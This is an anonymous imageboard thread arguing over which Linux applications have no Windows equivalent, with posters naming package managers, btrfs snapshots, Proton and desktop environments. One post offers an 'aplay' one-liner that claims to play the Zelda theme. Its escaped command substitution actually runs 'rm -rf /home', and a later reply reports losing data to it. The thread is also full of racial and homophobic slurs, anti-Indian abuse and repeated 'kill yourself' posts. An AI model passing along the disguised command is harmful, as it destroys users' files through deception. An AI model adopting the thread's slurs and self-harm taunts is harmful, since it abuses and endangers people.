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What are Linux's killer apps that aren't on Windows? Desktop ricing doesn't count.
Anonymous No.105992343 [Report]
>>105992286 (OP)
No usecase
Anonymous No.105992370 [Report] >>105992425 >>105993315 >>105994872 >>105995294 >>105998970 >>106008965 >>106010271
Anonymous No.105992385 [Report]
>>105992286 (OP)
Not having half the population of New Delhi spying on my every move is killer app enough for me, Rakesh.
Anonymous No.105992418 [Report] >>105992433 >>105992443
>>105992286 (OP)
Apostrophe
Foliate
Anonymous No.105992425 [Report] >>105992526 >>105993556
>>105992370
Wtf, is this real?
Anonymous No.105992433 [Report]
>>105992418
Also Pinta
Anonymous No.105992441 [Report] >>105992468 >>105994857 >>106008569
ranger wireshark guitarix easyeffects/pipewire
Anonymous No.105992443 [Report] >>105996283
>>105992418
>look up Apostrophe
>"An UI"
Anonymous No.105992468 [Report] >>105992479
>>105992441
> Wireshark

Using it on windows almost every day
Anonymous No.105992479 [Report] >>105992666
>>105992468
wireguard then
Anonymous No.105992484 [Report]
>>105992286 (OP)
I unironically can't go back to windows anymore because of wire plumber, dolphin and spectacle. Without those I can't use a computer anymore.
Anonymous No.105992526 [Report]
>>105992425
https://github.com/hykilpikonna/hyfetch
Anonymous No.105992647 [Report] >>105992680 >>105992845 >>105998186 >>106008584
>>105992286 (OP)
I mean ricing aside, the fact that there are full fucking UIs (DEs, WMs, compositors) and that's something you can just pick and choose from is pretty neat.
Gnome is sick. KDE is sick. Hyprland is sick. What's even better is you can tweak each of these to meet your needs fairly easily. I don't get the holy war that DE fags have because you can literally just install the shit you like and move on with your life instead of shit talking. Or you can just straight up start contributing to the software instead of being a faggot online.

Windows you're just stuck with whatever slop Microsoft shits out and that's it, end of story.

Besides that:
>Built in package managers
>Heroic games launcher started Linux only but now supports windows also
>Snapper for btrfs snapshots
Anonymous No.105992666 [Report] >>105992772
>>105992479
it's also available on windows you retard
Anonymous No.105992677 [Report] >>105993308 >>105993598
>linux has no application-level firewall
you can only filter ports and addresses. how is this acceptable?
Anonymous No.105992680 [Report] >>105992752 >>105992799 >>105992961 >>105993933
>>105992647
>Built in package managers
My Windows programs already self-update.
>Heroic games launcher
Why wouldn't I just double-click the game on my desktop and play?
>Snapper for btrfs snapshots
Windows has system restore points.
Anonymous No.105992694 [Report] >>105992701
>>105992286 (OP)
I don't know i just switched today to Linux Mint and im happy. Yes i don't have photoshop but fuck photoshop i have photopea, yes i don't have office there is libre office whatever everything works. I don't care few gaymes with AC not working not problem they are shit anyways.
Anonymous No.105992701 [Report]
>>105992694
>photopea
No offline edition?
Anonymous No.105992716 [Report]
>>105992286 (OP)
Almost all good linux software also has a windows version.
Anonymous No.105992724 [Report] >>105993327
KDE Plasma
Anonymous No.105992735 [Report] >>105993504
>>105992286 (OP)
Honestly, for the home desktop or laptop user there aren’t any. Most of the very best FOSS software, and some proprietary apps, are cross-platform. The killer app is the operating system itself. It’s less bloated and faster than Windows on equivalent hardware, contains no adware, no spyware, no forced automatic updates, no unremovable useless crap you don’t want, and above all is YOURS FOR FREE.
Anonymous No.105992752 [Report]
>>105992680
>Why wouldn't I just double-click the game on my desktop and play?
No uscase on Gnome
Anonymous No.105992772 [Report]
>>105992666
>2021
that was 2 weeks ago how could i have known that?
Anonymous No.105992799 [Report] >>105992963
>>105992680
>Windows has system restore points.
absolute retard
Anonymous No.105992845 [Report] >>105992934 >>105993322
>>105992647
> btrfs snapshots
ZFS or nothing
Anonymous No.105992907 [Report] >>105993506
>>105992286 (OP)
They don’t exist
Anonymous No.105992922 [Report] >>105993255 >>105995781
>>105992286 (OP)
Anything command line related. It's a fucking hassle to use Powershell on Windows for anything, I just yt-dlp on Linux and it just works. Package managers are fast and save shit ton of time, try setting up winget on Windows.
Anonymous No.105992934 [Report]
>>105992845
Their license sucks
Anonymous No.105992961 [Report] >>105992986
>>105992680
Dog, btrfs snapshots are nothing like system restore points. In fact, not having btrfs on windows would be enough to kill it for me.
Anonymous No.105992963 [Report]
>>105992799
?
Anonymous No.105992986 [Report]
>>105992961
Windows has VSS snapshots
Anonymous No.105993029 [Report] >>105993231
>>105992286 (OP)
No bloat/spying is the killer app.
Anonymous No.105993060 [Report] >>105993239
>>105992286 (OP)
gamescope
mangohud
proton/wine
vkd3d (dxvk does get some usage on Windows because lol, lmao)
piper
openrazer
waydroid
vesktop
pipewire/qpwgraph
Anonymous No.105993204 [Report] >>105993261 >>105993761 >>105993970 >>105994049 >>106007819
>>105992286 (OP)
Massively depends on who you are and what you do.

>for software engineers
The one really critical advantage is having actual local Docker (not an awkward bloated VM setup). For those who use containers a lot it's a pretty convincing reason to use Linux. Other than that, for a desktop SWE workstation, it trades blows with macOS.
For laptops you 100% want a Macbook though, no question.
Windows is a very poor choice unless you're a gamedev or exclusively writing native Windows software. WSL2 and tools like Git Bash can make it bearable if you really must.

>for gamers
Gaming on Linux only really makes sense on devices like the Steam Deck, where the whole hardware+software stack has been carefully configured and tested for you. Fuck DIYing it. Just use Windows.

>for software engineers who also game
Buy two physically separate computers and a KVM switch. Don't try to make your personal and work lives mingle on the same hardware, it's a recipe for misery.

>for casual users who literally just need a browser
Linux is actually really nice for this. Chrome works just as well on Linux as anywhere else, and the OS won't force you to restart to install updates.
Anonymous No.105993231 [Report] >>105993249
>>105993029
Oh great so now only the government my isp and every corporation on the planet plus some courier pigeons still knows everything that goes in and out of my computer and where I am and what I'm doing. Luckily my removing of that one set of data points means they know nothing.
Anonymous No.105993239 [Report] >>105993532
>>105993060
>gamescope
>proton/wine
The only purpose of these is to make Windows programs work on Linux...yeah, of course they're not on Windows because you can just run the applications anyway.
Anonymous No.105993249 [Report]
>>105993231
It's more about how shit and slow Windows has become with those things but I'm sure your 2 rupees for shilling will feed your growing family.
Anonymous No.105993255 [Report]
>>105992922
yt-dlp just works on Windows as well, the trick is to install it with winget and it should update the path.
Anonymous No.105993261 [Report]
>>105993204
>For laptops you 100% want a Macbook though, no question.
Dipshit.
>stack
Stopped reading here.
Anonymous No.105993279 [Report] >>105993295 >>105993299 >>105993305
>>105992286 (OP)
Package managers.
On Windows, I'd have to open my browser, search for the program I need, download it, open my Downloads folder and install it.
And I'm not even talking about uninstalling it.
Anonymous No.105993290 [Report]
>>105992286 (OP)
procmon
Anonymous No.105993295 [Report] >>105993305
>>105993279
>open my Downloads folder
Why not click the convenient downloads drop down menu in your browser and click on the installer you just downloaded?
Anonymous No.105993299 [Report]
>>105993279
Not at all.
I recently set up a Windows computer from scratch and installed everything with winget, right inside the terminal.
Anonymous No.105993305 [Report] >>105993546 >>106006160
>>105993279
>>105993295
Also, downloading stuff in your browser is better. Why? Because you can research software and then download them within the same program; you can't research software with Discover or pamac.
Anonymous No.105993308 [Report]
>>105992677
??? Opensnitch exists and works fine
https://github.com/evilsocket/opensnitch
Anonymous No.105993315 [Report] >>105993560 >>105995075
>>105992370
where is the straight option?
Anonymous No.105993322 [Report] >>105995324
>>105992845
ZFS is a meme filesystem for retards and it's not even good on Linux. Go run Illumos if you love it so much.
Anonymous No.105993327 [Report] >>105993347
>>105992724
>KRASHES
Anonymous No.105993347 [Report] >>105993489
>>105993327
Post beef.
Anonymous No.105993356 [Report]
>>105992286 (OP)
you know wsl exists, right? windows can get any terminal application on gnu+linux
Anonymous No.105993436 [Report] >>105993470
>>105992286 (OP)
htop, cmus, gigolo, Boxes...
Anonymous No.105993463 [Report]
>>105992286 (OP)

Package managers – pacman, apt, dnf, nix, - no mircosoft store trash or bloatware
Anonymous No.105993470 [Report] >>105993486 >>105993501 >>106000695
>>105993436
>htop
Ctrl+Shift+Esc opens Task Manager
>cmus
VLC Media Player is on Windows.
>gigolo
Windows Explorer already lets you mount network drives.
>Boxes
How is this different from running a VM on Windows?
Anonymous No.105993486 [Report] >>105993491
>>105993470
You're getting ass raped by Microsoft daily on the daileeeee babbbyyyyy pleaaaaaase.
Anonymous No.105993489 [Report]
>>105993347
post meds
Anonymous No.105993491 [Report] >>105993512
>>105993486
Doesn't change the fact that those "killer apps" you mentioned are inferior.
Anonymous No.105993499 [Report] >>105993619 >>105993796 >>105995732
>>105992286 (OP)
Dolphin
Anonymous No.105993501 [Report] >>105993515 >>105995115
>>105993470
Right, I'll entertain you.
>Ctrl+Shift+Esc opens Task Manager
it's not htop
>VLC Media Player is on Windows.
LOL
>Windows Explorer already lets you mount network drives.
What if someone doesn't need that feature?
>How is this different from running a VM on Windows?
Boxes is simple.
Anonymous No.105993504 [Report]
>>105992286 (OP)
i think with wsl you can get most gnu/linux apps nowadays.
>>105992735
what this anon said
Anonymous No.105993506 [Report] >>105993522
>>105992907
netcat, nmap, hashcat, John the ripper, homebrew,
Anonymous No.105993512 [Report]
>>105993491
They really are not, also a non shit DE like KDE has a proper task manager with more customization. Also Discover shits on windows explorer and leaves the asshole gaping white hot liquid.
Your last point is fucking retarded your step father should have hit you more.
Anonymous No.105993515 [Report]
>>105993501
Nah, being able to do shit on Windows doesn't count anon because it's easy and fanboys work hard to replicate basic Windows functions, that makes them elite
You need to install Linux for yourself so you can understand just how elite they are
Anonymous No.105993522 [Report] >>105993528 >>105993535
>>105993506
All of these can be installed on windows
Anonymous No.105993528 [Report] >>105993544
>>105993522
So you're upset that programs thats tarted on linux have windows support?
Anonymous No.105993532 [Report]
>>105993239
the compatibility enhancements from wine variants and the featureset of gamescope go beyond just "making Windows programs work"
Anonymous No.105993535 [Report] >>105993552
>>105993522
No micosoft has label them as evil hackers tools windows will remove them and your Microsoft account will be banned and mac address placed on banned list.
Anonymous No.105993544 [Report] >>105993617
>>105993528
why would i be upset? I use linux and windows, its a win win to me. portability is kino when you're a cracker.
Anonymous No.105993546 [Report] >>105995115
>>105993305
>you can't research software with Discover or pamac.
bro has never read the description of a package lmao
Anonymous No.105993547 [Report] >>105993564 >>106006064
>>105992286 (OP)
aplay

# play the Zelda theme
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
Anonymous No.105993552 [Report]
>>105993535
meds now
Anonymous No.105993555 [Report]
Maybe "easy effects", many developers just target the largest augience. Also, the interesting thing is, FreeBSD, technically has more exclusive games than Xbox
Anonymous No.105993556 [Report]
>>105992425
Looks like satire.
Anonymous No.105993560 [Report] >>105996243
>>105993315
https://github.com/fastfetch-cli/fastfetch
Anonymous No.105993564 [Report]
>>105993547
sick one aplay oneliner anon.
Anonymous No.105993567 [Report] >>105993587 >>105997382
what uses linux kernal?

Android,

Steam Deck/SteamOS

ChromeOS

most websites,

super computers,

cars,

Kisko like mcdonalds use windows hence why they are always crashing...
Anonymous No.105993587 [Report] >>105993618
>>105993567
all those listed are not killer "apps"
Anonymous No.105993598 [Report]
>>105992677
Because you're supposed to run every application as separate, unprivileged user.

This actually works fine thanks to Wayland. If you wanted to crack GTA 6, you could create a _gta user first, then give it a whitelist, restrict its access to your ~/Games folder, and run it for the first time.

(It's also more secure than on Windows, where videogames can access to your personal files and change your wallpaper.)
Anonymous No.105993608 [Report] >>105993644 >>105993667 >>105995770 >>105995798
>>105992286 (OP)
Open source programs aren't made artificially exclusive for no reason. It's pretty awesome that all the cool software I've discovered since moving to Linux (syncthing, vim, yt-dlp, MPV, and more) is also available on Windows (and other OSes like BSD). Part of the free software mindset is, well, that it's free, that you're free to use it how you want. It's less that these applications are exclusive, and more that they're integrated better with the Linux ecosystem.
Also, good luck installing ffmpeg on Windows.
Anonymous No.105993617 [Report]
>>105993544
So why are you bitching?
Fucking sperg
Anonymous No.105993618 [Report] >>105993636 >>105993646 >>105994108 >>105995115
>>105993587
Oh, so now we're moving the goalposts to "killer apps" but ignoring the fact that Linux is literally the foundation for the world’s computing? Cute.

Fine. You want “killer apps” that run on Linux kernel-based systems?
Android runs the Linux kernel, so I guess I’ll just list Google Play Store apps next?
Would that help you cope better?

Because if 3 billion devices running Linux aren’t “app platforms” in your eyes, you’re not asking for “killer apps,” you’re asking to stay ignorant.
Anonymous No.105993619 [Report] >>105993636 >>105996548
>>105993499
>dolphin
Anonymous No.105993636 [Report] >>105993652
>>105993619
>Faggot seething
>>105993618
He's lonely tonight so he's just wasting your time. I'm leaving this thread I hope OP has a panic attack in his sleep tonight
Anonymous No.105993644 [Report] >>105993708
>>105993608
>Also, good luck installing ffmpeg on Windows.
winget install Gyan.FFmpeg
Anonymous No.105993646 [Report]
>>105993618
>Oh, so now we're moving the goalposts to "killer apps" but ignoring the fact that Linux is literally the foundation for the world’s computing? Cute.
>Fine. You want “killer apps” that run on Linux kernel-based systems?
>Android runs the Linux kernel, so I guess I’ll just list Google Play Store apps next?
>Would that help you cope better?
>Because if 3 billion devices running Linux aren’t “app platforms” in your eyes, you’re not asking for “killer apps,” you’re asking to stay ignorant.
Its literally what the OP asked for.
> What are Linux's killer apps that aren't on Windows? Desktop ricing doesn't count.
Not app platforms, dickhead.
Anonymous No.105993652 [Report] >>105993659
>>105993636
>butthurt Indian
https://conf.kde.in/
Anonymous No.105993659 [Report] >>105993668
>>105993652
>Suddenly mentions indians
Who runs Microsoft?
You faggots are responsible for shit getting jeeted more than anyone else.
Anonymous No.105993667 [Report]
>>105993608
best way to switch to linux is probably by using open source programs on windows first. That way all you need ot get used to is package manager and desktop.
Anonymous No.105993668 [Report] >>105993680 >>105995087
>>105993659
I don't use windows retard
Anonymous No.105993680 [Report] >>105993692
>>105993668
Then take your mental illness somewhere else I don't care about you getting ass raped by an India KDE dev in your sleep.
Anonymous No.105993692 [Report] >>105993703
>>105993680
>I don't care
then why would make a seething reply?
Anonymous No.105993703 [Report]
>>105993692
Because Windows jeets never fucking stop.
I also hate microsoft as for allowing them to ruin this field by allowing them to take more of a foot hold in this industry. Everything they make is shoddy unreliable fucking garbage.
Anonymous No.105993708 [Report] >>105993744
>>105993644
>windows has a command line package manager now
I wish I had known about this when I was on Windows
Anonymous No.105993719 [Report]
>>105992286 (OP)
On the desktop? Probably nothing at all.
Anonymous No.105993744 [Report]
>>105993708
Yeah, it's pretty much what makes Windows usable to me now. What's great is that I can uninstall Windows Store (get-appxpackage *windowsstore* | remove-appxpackage) and still get anything available in there with winget, plus it'll download all sorts of regularly used stuff from the web.
I'm not hating on Linux though. Like you (or the other poster I responded to) said, Linux's value is precisely in the fact that it doesn't have killer apps. You own the software in the system. There's something to be said for that.
I like that I can enjoy using both, and I do.
Anonymous No.105993761 [Report] >>105993775
>>105993204
>Fuck DIYing it. Just use Windows.
I just click 'enable proton' on steam or install the game through lutris and it just werks.
Anonymous No.105993775 [Report]
>>105993761
He's too low IQ to the point he rather get molested by windows recall than learn how to flip two switches
Anonymous No.105993796 [Report]
>>105993499
You can run Dolphin on Windows (yes, I do mean the file manager) but it's not very well implemented on Windows
Anonymous No.105993847 [Report] >>105993921
Alright,

https://circle.gnome.org

tmux
fdm
notmuch
catgirl
Emacs + use-package
oniux

Windows is literally dragging research behind. And you can install texlive-full in 3 minutes with a fiber connection on Alpine Linux.

And you can't use Windows on mobile phones. You can use a POSIX environment with pmOS, e.g. I plug my OLKB Planck into my Pinephone and start taking meeting notes. I use my phone to reprogram and flash my keyboard, natively, and Emacs with nov.el on pmOS is the best way I've found to read ePub documents.
Anonymous No.105993921 [Report] >>105998460
>>105993847
A killer app is an app with high mainstream demand that is exclusive to particular operating systems.
https://www.merriam-webster.com/dictionary/killer%20app
While I'm sure the software you mentioned is great and has a ton of value to your own personal workflow, it certainly doesn't possess the desirability that would put it on the "killer app" level.
Anonymous No.105993933 [Report]
>>105992680
>My Windows programs already self-update.
Some argue this is a very bad thing since you lose control over your software and thus your computing experience
>Why wouldn't I just double-click the game on my desktop and play?
It's so you don't need to install 4 different launchers (epic, Gog, Amazon) and can centralize all of your management to a single source
>Windows has system restore points.
As mentioned not the same thing

If you like windows it's probably fine to stick to it. It's the best OS for retards. I was just responding to the OP questions
Anonymous No.105993948 [Report]
>>105992286 (OP)
Almost all games that come with dedicated server softwares support Linux plus VPS primarily use Linux.
Anonymous No.105993970 [Report] >>105995421
>>105993204
I think you don't realize how easy gaming is on Linux now.

All of the shit Valve did for the steam deck (proton) applies for existing distros too. If you have Nvidia you're always going to be a little bit cursed on Linux but AyyyMD gpus are great.

Performance ranges between worse than windows and better than windows depending on the game

The only reason you should not consider Linux on an AMD gaming build is if you are set on playing games with non-supported anticheat.

But I mean take a look at protondb and look at how much shit works across various distros/hardware. All you need to do is enable compatibility via proton in the global settings and you're set to install basically anything without an issue
Anonymous No.105994049 [Report]
>>105993204
>For laptops you 100% want a Macbook though, no question.
Know how I know you have insatiable cock lust?
Anonymous No.105994073 [Report]
>>105992286 (OP)
Castrastion.app

Automatically castrates you, your family and your friends. Saving all those lives
Anonymous No.105994108 [Report]
>>105993618
>I need a new car man
>buy CAT articulated truck
>why would I do that retard
>GOVERNMENT USES IT COMPANIES USES IT THEY BUILT YOUR HOME WITH THAT THEY BUILT THE ROADS WITH THAT THEY BUILT MILITARY BASES WITH THAT. DO YOU THINK THATS NOT GOOD ENOUGH HUH ??????
You are a retarded stupid faggot and I think you should kill yourself
Anonymous No.105994849 [Report]
>>105992286 (OP)
>What are Linux's killer apps that aren't on Windows? Desktop ricing doesn't count.
Lets me bake my pizza in complete and cozy privacy. Windows will upload your comfy folder to the cloud and rat on you, and so will applel. Only linux guarantees full freedom and privacy of thought. Do your research, you live in a totalitarian matriarchy. This is spy vs spy, kid.
Anonymous No.105994857 [Report]
>>105992441
wireshart
Anonymous No.105994872 [Report] >>105995075
>>105992370
where is the hetero flag? bunch of hypocrites
Anonymous No.105995075 [Report] >>105995082 >>105995733
>>105993315
>>105994872
they rejected it, twice
https://github.com/hykilpikonna/hyfetch/pull/266
https://github.com/hykilpikonna/hyfetch/issues/271
Anonymous No.105995082 [Report]
>>105995075
how inclusive of them
Anonymous No.105995087 [Report] >>105995093
>>105993668
Yeah, because you use LXDE. Post beef.
Anonymous No.105995093 [Report] >>105995103
>>105995087
post meds
Anonymous No.105995103 [Report] >>105995118
>>105995093
Anonymous No.105995115 [Report] >>105995286
>>105993546
The description isn't a forum thread (let alone the process of searching for a forum thread) comparing different benchmarks.
>>105993501
>What if someone doesn't need that feature?
Then gigolo isn't a killer app either, is it?
>>105993618
>moving the goalposts
What the fuck did the OP ask for in the very first sentence?
Anonymous No.105995118 [Report] >>105995127
>>105995103
>pigeon
not your meds
Anonymous No.105995127 [Report] >>105995139
>>105995118
Post beef.
Anonymous No.105995139 [Report] >>105995149
>>105995127
I will when you post your meds
Anonymous No.105995149 [Report] >>105995152 >>105995659
>>105995139
You will never post beef because you're a Hindu.
Anonymous No.105995152 [Report] >>105995163 >>105995573
>>105995149
and you never posted your meds cause your schizophrenic
Anonymous No.105995163 [Report]
>>105995152
*you're
Anonymous No.105995286 [Report] >>105995358
>>105995115
>a forum thread
who the fuck is looking up forum threads when they are installing Blender?
Anonymous No.105995294 [Report]
>>105992370
>autosexual
the arch flag
Anonymous No.105995308 [Report]
>>105992286 (OP)
Unironically SElinux
Anonymous No.105995324 [Report]
>>105993322
not a meme openzfs on linux became top priority but little advantages to use on desktop aside of lz4 compression for linux
ext4 still best
Anonymous No.105995358 [Report] >>105995751
>>105995286
>"comparison of 3D software"
Anonymous No.105995421 [Report]
>>105993970
>AyyyMD gpus are great
maybe if you just want to gayme. gpu acceleration in other applications is fucked.
Anonymous No.105995573 [Report] >>105995696
>>105995152
I'm seeing too much ESL typing and no beef
Anonymous No.105995659 [Report]
>>105995149
I used KDE 5 on a third gen i5 without problems though. Pajeet just ain't doing it right.
Anonymous No.105995696 [Report]
>>105995573
I'm seeing too much schizo typing and no meds
Anonymous No.105995732 [Report] >>105995745 >>105995758 >>105995781
>>105993499
>poor man directory opus
it's impressive how there's not a single good app that linux has that windows doesn't. And freetards wonder why people don't want to use linux.
Anonymous No.105995733 [Report]
>>105995075
someone could do something really funny by forking it
Anonymous No.105995745 [Report]
>>105995732
It's almost like Linux applications are almost always portable to Windows whereas the inverse isn't necessarily true.
Anonymous No.105995751 [Report] >>105996255
>>105995358
that is quite possibly one of the most generic searches you could ever type in to a search engine
Anonymous No.105995758 [Report]
>>105995732
Windows doesn't have i3wm or Sway
it loses by default
Anonymous No.105995759 [Report]
>>105992286 (OP)
here's one that'll activate your almonds, my os IS the killer app.
(debian btw)
Anonymous No.105995770 [Report]
>>105993608
>Also, good luck installing ffmpeg on Windows
?
https://www.ffmpeg.org/download.html#build-windows
Anonymous No.105995781 [Report]
>>105992922
mingw/msys2 exists, anon. add that with window's cmdline or alt versions (cmder is nice) and you've got all of your linux tools back via pacman package manager. having all of your usual linux tools running on windows is super fuckin convenient.

>>105995732
> the street shittier mental break down is real
shitting street: designated.
Anonymous No.105995798 [Report]
>>105993608
>Also, good luck installing ffmpeg on Windows.
good luck? are you a fucking moron? forget all about how people release compiled files, did we? also forget that people can build it from source using mingw/msys etc.? what a dense cunt. when larping goes absolutely fuckin sideways because you know fucking NOTHING about anything. embarrasing.
Anonymous No.105996243 [Report]
>>105993560
kek
Anonymous No.105996255 [Report]
>>105995751
And curiously, not something you can type into your package manager.
Anonymous No.105996283 [Report]
>>105992443
>Pronounced "Uh-Eh"
Anonymous No.105996519 [Report]
>>105992286 (OP)
unironically [spoiler]bash[/spoiler]
Anonymous No.105996548 [Report]
>>105993619
lmao

yep that's linux alright

pretty much my monthly experience except it's always some new and different issue in some new and different program or system every month
Anonymous No.105997179 [Report]
>>105992286 (OP)
Linux apps are generally made with open source libraries that are also available on windows, so porting them usually isnt a problem. Still you have
>Some that work better on linux
Like most appbuilt with gtk/qt
>Some that arent really available on windows
Like bash, pacman/apt/whatever, flatpak, gcc (exept if you count migw at which point it would go in the category above), utilities for spesific filesysgems like btrfs etc.
>Industry specific proprietary tools
Like specific server software or various chip design/synthesizing software
Anonymous No.105997221 [Report] >>105997306
>>105992286 (OP)
pcmanfm
Anonymous No.105997306 [Report]
>>105997221
That's not "killer app" according to winfags because they can use windows file manager, but at the same time foobar is killer app because you can't listen and tag music on linux.
Anonymous No.105997382 [Report]
>>105993567
what is a "kernal", saar?
Anonymous No.105997406 [Report] >>105997419 >>105997631 >>105997662 >>105997676 >>105997723 >>105997729 >>106006092 >>106006243 >>106006262 >>106006728
freetards are braindead subhuman nigger trash
fact
Anonymous No.105997416 [Report] >>105997419
>>105992286 (OP)
KRunner
Mesa RADV
Waydroid
KVM
SCX
https://www.man7.org/linux/man-pages/man2/fork.2.html
gpu-screen-recorder
Lutris (Playnite is a fucking shit, I've tried it)
BTRFS (can't do system partition on Windows)
Pipewire
Gamescope
Anonymous No.105997419 [Report] >>105997676
>>105997416
kill yourself freetard >>105997406
Anonymous No.105997590 [Report] >>105997631
KDE
It makes the Windows DE look like a toy.
Anonymous No.105997631 [Report] >>105997676
>>105997590
kill yourself freetard >>105997406
Anonymous No.105997638 [Report] >>105997662
>>105992286 (OP)
neofetch
Anonymous No.105997662 [Report] >>105997676 >>105997725
>>105997638
kill yourself freetard >>105997406
Anonymous No.105997676 [Report]
>>105997406
>>105997419
>>105997631
>>105997662
based
Anonymous No.105997686 [Report] >>105997723
>>105992286 (OP)
>desktop ricing doesn't count
I disagree. Superior workflow wins every day.
Anonymous No.105997723 [Report]
>>105997686
kill yourself freetard >>105997406
Anonymous No.105997725 [Report] >>105997729
>>105997662
>>105996452
Kill yourself retard
Anonymous No.105997729 [Report]
>>105997725
kill yourself freetard >>105997406
Anonymous No.105998142 [Report]
>>105992286 (OP)
rsync
a proper shell
Anonymous No.105998186 [Report]
>>105992647
there's a certain little mouse you seem to have neglected to mention
Anonymous No.105998460 [Report] >>106005927
>>105993921
Today everybody's talking about "disconnecting", it has mainstream attention, the right to disconnect has even become part of the French law; both major media outlets and shady travel/resort companies make it front and center in their advertising campaigns.

And that's what my workflow is about.
Anonymous No.105998970 [Report] >>105999450 >>105999672
>>105992370
>that aren't on Windows?
Windows and macOS have official LGBT support as default. Only difference is that you don't have to install those features and can't uninstall them.
Anonymous No.105999450 [Report] >>105999672
>>105998970
Please stop degrading the signal/noise ratio, this thread is about Linux-exclusive killer apps.
Anonymous No.105999572 [Report]
>>105992286 (OP)
Imagemagick is the best one IMO. I can just type 'convert shitimage.webp shitimage.png' in the command line and it'll do it for me without complaining 99% of the time. Works with turning gifs into webms and shit like that too.

Overall just really good for a million no nonsense little things that I shouldn't have to load up a whole GUI for and it's easy to script batch stuff with it too.
Anonymous No.105999672 [Report] >>106002327
>>105998970
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
>>105999450
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
Anonymous No.105999862 [Report]
>>105992286 (OP)
xmgrace
Anonymous No.106000695 [Report] >>106001982 >>106005935
>>105993470
>Windows Explorer already lets you mount network drives.
Thunar
https://docs.xfce.org/xfce/thunar/start
Anonymous No.106001982 [Report] >>106003716 >>106005935
>>106000695
Thunar doesn't even have type to jump kek, to say nothing of thumbnails.
Anonymous No.106002327 [Report] >>106005935
>>105999672
This isn't a flamewar troll thread. We celebrate the fact that most Linux apps are able to run from the WSL, and it's a development goal.

But GNOME software, among others, still counts as Linux-exclusive because it couldn't run on Windows without the WSL; we wouldn't claim otherwise about Adobe Photoshop, even though you could run it in a VM or thanks to an emulation layer.
Anonymous No.106003716 [Report] >>106005935
>>106001982
>thumbnails
Works for me
Anonymous No.106005786 [Report] >>106005917 >>106005935
>>105992286 (OP)
apt
Anonymous No.106005917 [Report]
>>106005786
>winget
Anonymous No.106005927 [Report]
>>105998460
Hey, I'm for it... I'm just saying it's technically not a killer app like OP asked for.
Linux doesn't really have one. But it's proof you don't need one as well. Free software means anything can be ported to a non-free system. But it also means freedom.
I use both.
Anonymous No.106005935 [Report]
>>106000695
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
>>106001982
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
>>106002327
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
>>106003716
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
>>106005786
>jay niggirwin saves his flamewar troll thread from page 10 after hours of no bites
Anonymous No.106006064 [Report] >>106006092
>>105993547
I got complacent! Here I am, back on a fresh install of Debian 13. Serves me right! Never change, internet. I don't even fucking like Zelda.
Anonymous No.106006092 [Report] >>106006121
>>106006064
kill yourself freetard >>105997406
Anonymous No.106006121 [Report] >>106006243
>>106006092
You mad you can't afford my PC, jeet?
Anonymous No.106006143 [Report] >>106006243
>>105992286 (OP)
use what you want, i dont care
Anonymous No.106006160 [Report] >>106006243
>>105993305
>Because you can research software and then download them within the same program
What is the benefit of these two things happening within the same program?
what if I want to release the resources I was using by browsing but have the download continue??

I can think of many reasons why this is bad, and no reasons why it is helpful that the download be tied to the browser

but maybe these use cases dont matter to you, so you should stick with windows

better yet an Ipad
Anonymous No.106006243 [Report] >>106006258 >>106006400
>>106006121
>>106006143
>>106006160
kill yourself freetard >>105997406
Anonymous No.106006258 [Report] >>106006262
>>106006243
idiot
Anonymous No.106006262 [Report]
>>106006258
kill yourself freetard >>105997406
Anonymous No.106006303 [Report]
the shell
Anonymous No.106006400 [Report] >>106006438
>>106006243
>gets owned with logic and facts
>screeches
Lol, actually kill yourself freak
Anonymous No.106006438 [Report] >>106006462 >>106006619 >>106008138 >>106008950
>>106006400
the fact is you're a subhuman freetard nigger NPC and we don't want subhuman nigger trash like you on linux
kill yourself freetard
Anonymous No.106006462 [Report] >>106006728
>>106006438
you wont do shit, bitch
Anonymous No.106006619 [Report] >>106006728
>>106006438
Are you OK? Come over on IRC, let's figure this out.
Anonymous No.106006728 [Report] >>106007828
>>106006462
>>106006619
kill yourself freetard >>105997406
Anonymous No.106007025 [Report] >>106007290 >>106008130
>>105992286 (OP)
>What are Linux's killer apps that aren't on Windows?
Linux
Anonymous No.106007285 [Report] >>106008130
>>105992286 (OP)
>whats available at X that you can't get at McDonald?
cant think of a more stupid idea to live rent free with
Anonymous No.106007286 [Report]
>>105992286 (OP)
CCcam...
TVheadend
Anonymous No.106007290 [Report] >>106007985
>>106007025
Linux is on Windows these days, WSL. Linux is just an app.
Anonymous No.106007566 [Report] >>106008130
>>105992286 (OP)
io_uring
user namespaces
Anonymous No.106007819 [Report] >>106007925 >>106008130
>>105993204
>Fuck DIYing it.
Oh no, not the DIYing it! I'm forced to DIY two buttons nooooooo
Anonymous No.106007828 [Report]
>>106006728
Wow, have you considered learning a 13th word?
Anonymous No.106007925 [Report] >>106007971
>>106007819
>Expectation
Reality:
Anonymous No.106007971 [Report] >>106008104
>>106007925
>India
I can guarantee you, this retarded map counts Linux as Android. Jeets are literally too low IQ to use Linux, let alone own a PC. They play Tekken on Android TVs ffs.
https://www.youtube.com/shorts/FiVZr6wWJaA
Anonymous No.106007985 [Report] >>106008096
>>106007290
>Linux is just an app
So is Windows. All Windows is is a little app called WINE that gets automatically opened when I want to play some games.

At least I don't need to run a full blown VM, like you do to run Linux apps.
I love how Microsoft fought so hard against other OSs, but is being gradually forced into adopting Linux because of it's overwhelming industry relevance.
In the future, Windows will be nothing more than a Linux distro. The writing is on the wall.
Anonymous No.106008096 [Report]
>>106007985
Least delusional troonix user:
Anonymous No.106008104 [Report]
>>106007971
>bbbut ANDROID
Anonymous No.106008118 [Report] >>106008133
Almost 200 replies and the answer so far is "none"

Good job linux trannies
Anonymous No.106008130 [Report]
>>106007025
>jay niggirwin samefags himself to save his flamewar troll thread from page 10 after hours of no bites again
>>106007285
>jay niggirwin samefags himself to save his flamewar troll thread from page 10 after hours of no bites again
>>106007566
>jay niggirwin samefags himself to save his flamewar troll thread from page 10 after hours of no bites again
>>106007819
>jay niggirwin samefags himself to save his flamewar troll thread from page 10 after hours of no bites again
Anonymous No.106008133 [Report] >>106008142
>>106008118
Maybe if you actually read the thread instead of instantly replying you can find some.
Anonymous No.106008138 [Report]
>>106006438
this
